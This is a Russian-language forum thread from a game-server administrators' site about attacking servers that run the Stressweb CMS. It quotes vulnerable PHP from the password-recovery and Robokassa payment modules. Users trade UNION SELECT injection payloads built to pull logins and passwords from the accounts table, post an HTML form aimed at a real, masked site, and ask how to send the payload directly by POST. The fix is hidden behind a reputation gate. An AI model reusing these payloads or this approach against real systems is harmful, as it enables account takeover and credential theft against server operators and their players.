Перейти к содержимому

Welcome to 100NT форум администраторов игровых серверов
Register now to gain access to all of our features. Once registered and logged in, you will be able to create topics, post replies to existing threads, give reputation to your fellow members, get your own private messenger, post status updates, manage your profile and so much more. If you already have an account, login here - otherwise create an account for free today!

Переключатель чата Чат

Добро пожаловать в чат 100NT
Horus : (17 May 2012 - 01:17 PM) гуф умер, а форум отжил свое.
Inkognit0 : (17 May 2012 - 01:08 PM) форум умер?
Изменить размер окна сообщений

Взламываем Сервера С Stressweb

* * * - - 2 Голосов

  • Вы не можете ответить в тему
Сообщений в теме: 26

#16
57486

    Новичок

  • Пользователи
  • 2 сообщений
Reputation: 0
Ну пишите полность как это всё делать плиз.
NiceSleep ппц а чё стороной те кто незнает им же хочится научиться это делать)

#17
xstalinx

    Продвинутый пользователь

  • Пользователи
  • 134 сообщений
  • ГородМоскоу сити
Reputation: 41
вот из за таких как ты админы и не спят спокойно, им расскажи, а они будут ломать неповинных не в чем людей

#18
BLoOd1k

    Продвинутый пользователь

  • Пользователи
  • 220 сообщений
Reputation: 16
спс за дырочки =)

#19
aninya

    Кавайная няка

  • Пользователи
  • 891 сообщений
  • ГородВеликие Луки
Reputation: 105
не проще ли добавить если цифровой (int) вначале например $var = (int) $var2;
и если var2 не целочисленное значит значние будет равно 0)
мы не знаем какие значения туда должны попасть) а ты говоришь как исправить) к разрабам обращайся)

#20
Owei

    Продвинутый пользователь

  • Пользователи
  • 508 сообщений
Reputation: 173
aninya, ты прав :) я бывает нулы устаю перебирать
Изображение

#21
jeny14

    Продвинутый пользователь

  • Пользователи
  • 103 сообщений
Reputation: 13
переселила с home na index derzaite ya log pochitay

#22
lken

    Пользователь

  • Пользователи
  • 20 сообщений
Reputation: 40

Просмотр сообщенияzenn (25 August 2010 - 14:51) писал:

Собственно, набрел случайно на данный кусочек кода. Очень удобное место для проведения +union+select запроса.
Адрес уязвимости: /engine/forget.php
Проверена на: 8.0, 8.0+
Уязвимый участок кода:
elseif (isset($_POST["submit_lost"]) && isset($_POST["step2"]))
{
    $lost_l2answer = $_POST["lost_l2answer"];
    $lost_l2login = $_POST["step2"];
    list($lost_l2answer_db, $_l2email) = $ldb->fetch_array($ldb->query("SELECT `l2answer`,`l2email` FROM `accounts` WHERE `login`='{$lost_l2login}' LIMIT 0,1"));
    if ($lost_l2answer != $lost_l2answer_db)
    {
        $error_lost = "<div class='error'>Обнаружены следующие ошибки:<br>Ответ на секретный вопрос не верный!</div>";
    }
    else
    {
        $lost_l2answer = false;
        $tmp_pass = "user" . _code_generate(6);
        $tmp_pass_encode = pass_encode($tmp_pass);
        $ldb->query($ldb->_parse_query($qList[$l2db_ls]["setPassword"], array("pass" => $tmp_pass_encode, "login" => $lost_l2login)));
        if ($ldb->affectedrows() == 1)
        {
            if ($config["site"]["forget"]["method"] == 1 && $_l2email != "null@null" && $_l2email != "")
            {
                $_host = $_SERVER['HTTP_HOST'] ? $_SERVER['HTTP_HOST'] : @getenv('HTTP_HOST');
                $mail_subject = "Восстановление пароля";
                $mail_message = <<<HTML
Уважаемый {$lost_l2login},

Вы сделали запрос на получение забытого пароля на сайте http://{$_host} 
Однако в целях безопасности все пароли хранятся в зашифрованном виде, поэтому мы не можем сообщить вам ваш старый пароль, поэтому для Вас был сгенерирован новый пароль: 

------------------------------------------------
Ваш логин и пароль на сайте:
------------------------------------------------

Логин: {$lost_l2login}
Пароль: {$tmp_pass}

После авторизации на сайте вы сможете изменить данный пароль на любой другой.

С уважением,

Администрация http://{$_host}
HTML;
                $mail_subject = "Восстановление пароля";
                $mail_message = "Здраствуйте! \n\r Согласно Вашему запросу для Вас был сгенерирован новый пароль.\n\rДля входа на сайт используйте следующие данные: \n\r Логин: {$lost_l2login} \n\r Пароль: {$tmp_pass} \n\r После авторизации на сайте вы сможете изменить данный пароль на любой другой. \n\r\n\r С уважением администрация сервера http://" . $_host . "";
                if (send_mail($_l2email, $lost_l2login, "{$config["site"]["reg"]["email"]}", $mail_subject, $mail_message))
                {
                    $error_lost = "<div class='noerror'>На ваш E-Mail адрес, указанный при регистрации, было отправлено уведомление с новым паролем.</div>";
                }
                else
                {
                    $error_lost = "<div class='error'>Обнаружены следующие ошибки:<br>Письмо не было отправлено! Попробуйте позже или обратитесь к Администрации.</div>";
                }
            }
            else
            {
                $error_lost = "<div class='noerror'>Уважаемый посетитель! Согласно Вашему запросу для Вас был сгенерирован новый пароль. Для входа на сайт используйте следующие данные:<br><b>Логин:</b> {$lost_l2login}<br><b>Пароль:</b> {$tmp_pass}<br>После авторизации на сайте вы сможете изменить данный пароль на любой другой.</div>";

            }
        }
        else
        {
            $error_lost = "<div class='error'>Ошибка базы данных! Попробуйте позже.</div>";
        }
    }
}
Уязвимая переменная(не фильтруется) :
    $lost_l2login = $_POST["step2"];
Используется в SQL-запросе:
    list($lost_l2answer_db, $_l2email) = $ldb->fetch_array($ldb->query("SELECT `l2answer`,`l2email` FROM `accounts` WHERE `login`='{$lost_l2login}' LIMIT 0,1"));
Как применить? Я думаю это не составит труда нарушить целостность данного запроса.
П.с. для постояльцев 100НТ фильтр:
[hide posts=50 thank=1]
$lost_l2login = $ldb->safe($_POST["step2"]);
[/hide]

Хочу провести запрос, подскажите что неверно:
-1' Union Select login, password from accounts where id='1

Вот скрипт выполняет:
<form action="http://**.ru/index.php?f=forget" method="post">
<input name="step2">
<input name="submit_lost">
<input name="lost_l2answer">
<input type="submit" value="go">
</form>


#23
Михаил(zenn)

    Продвинутый пользователь

  • Администраторы
  • 6827 сообщений
  • ГородКерчь
Reputation: 355
А в пост-форму step2 чего тыкаете?
Должно быть примерно так: '+union+select+login,password+from+accounts+where+id='1'+--+ :facepalm:

#24
lken

    Пользователь

  • Пользователи
  • 20 сообщений
Reputation: 40
а плюсы зачем, она вроде как стринг передает, я собственно пишу как есть
-1' Union Select login, password from accounts where id='1


#25
lken

    Пользователь

  • Пользователи
  • 20 сообщений
Reputation: 40
а скажите синтаксис кто знает, как можно переменную сразу через пост послать.

Скажем
$sql="-1' Union Select login, password from accounts where id='1";

и что б сразу отправляла POST что б обойтись без полей ввода

#26
lken

    Пользователь

  • Пользователи
  • 20 сообщений
Reputation: 40

Просмотр сообщенияzenn (09 January 2011 - 19:32) писал:

А в пост-форму step2 чего тыкаете?
Должно быть примерно так: '+union+select+login,password+from+accounts+where+id='1'+--+ :facepalm:

пишет в ответ Обнаружены следующие ошибки:
Ответ на секретный вопрос не верный!
=)

#27
waytopay

    Пользователь

  • Пользователи
  • 18 сообщений
Reputation: 0

Просмотр сообщенияrwx (17 September 2010 - 21:15) писал:

Прошу прощения за up.

Stress Web 10.08
---
Открываем: engine\robokassa.php,
Смотрим код:
// ...
        if ((isset($_POST['InvId']) && !empty($_POST['InvId'])) && (isset($_POST['OutSum']) && !empty($_POST['OutSum'])) && (isset($_POST["Shp_lid"]) && $_POST["Shp_lid"] != ''))
        {
            $rb_lid = intval($_POST["Shp_lid"]);
            if (isset($ldb[$rb_lid]))
            {
                // чтение параметров
                $rb_out_summ = $_POST["OutSum"];
                $rb_inv_id = $_POST["InvId"];
                $rb_shp_rnd = $_POST["Shp_rnd"];
// ...
                    $QUERY = "SELECT * FROM `stress_robokassa` WHERE `id`='{$ldb[$rb_lid]->Safe($rb_inv_id)}' AND `InvId`='{$rb_shp_rnd}' AND stage='S'";
// ...
                            $ldb[$rb_lid]->Query("UPDATE `stress_robokassa` SET `stage`='P',`comment`='Покупка оплачена, но не доставлена' WHERE `id`='{$ldb[$rb_lid]->Safe($rb_inv_id)}' AND `InvId`='{$rb_shp_rnd}'");
// ...
                                $ldb[$rb_lid]->Query("UPDATE `stress_robokassa` SET `stage`='F',`success`='1',`comment`='Покупка доставлена' WHERE `id`='{$ldb[$rb_lid]->Safe($rb_inv_id)}' AND `InvId`='{$rb_shp_rnd}'");
// ...
Обращаем внимание на то, что $rb_shp_rnd не фильтруется... м Магия? :blink:

Все равно идет проверка контрольной суммы до запроса. :(
А контрольную сумму не обойти не зная секретного пароля...





Количество пользователей, читающих эту тему: 1

0 пользователей, 1 гостей, 0 скрытых пользователей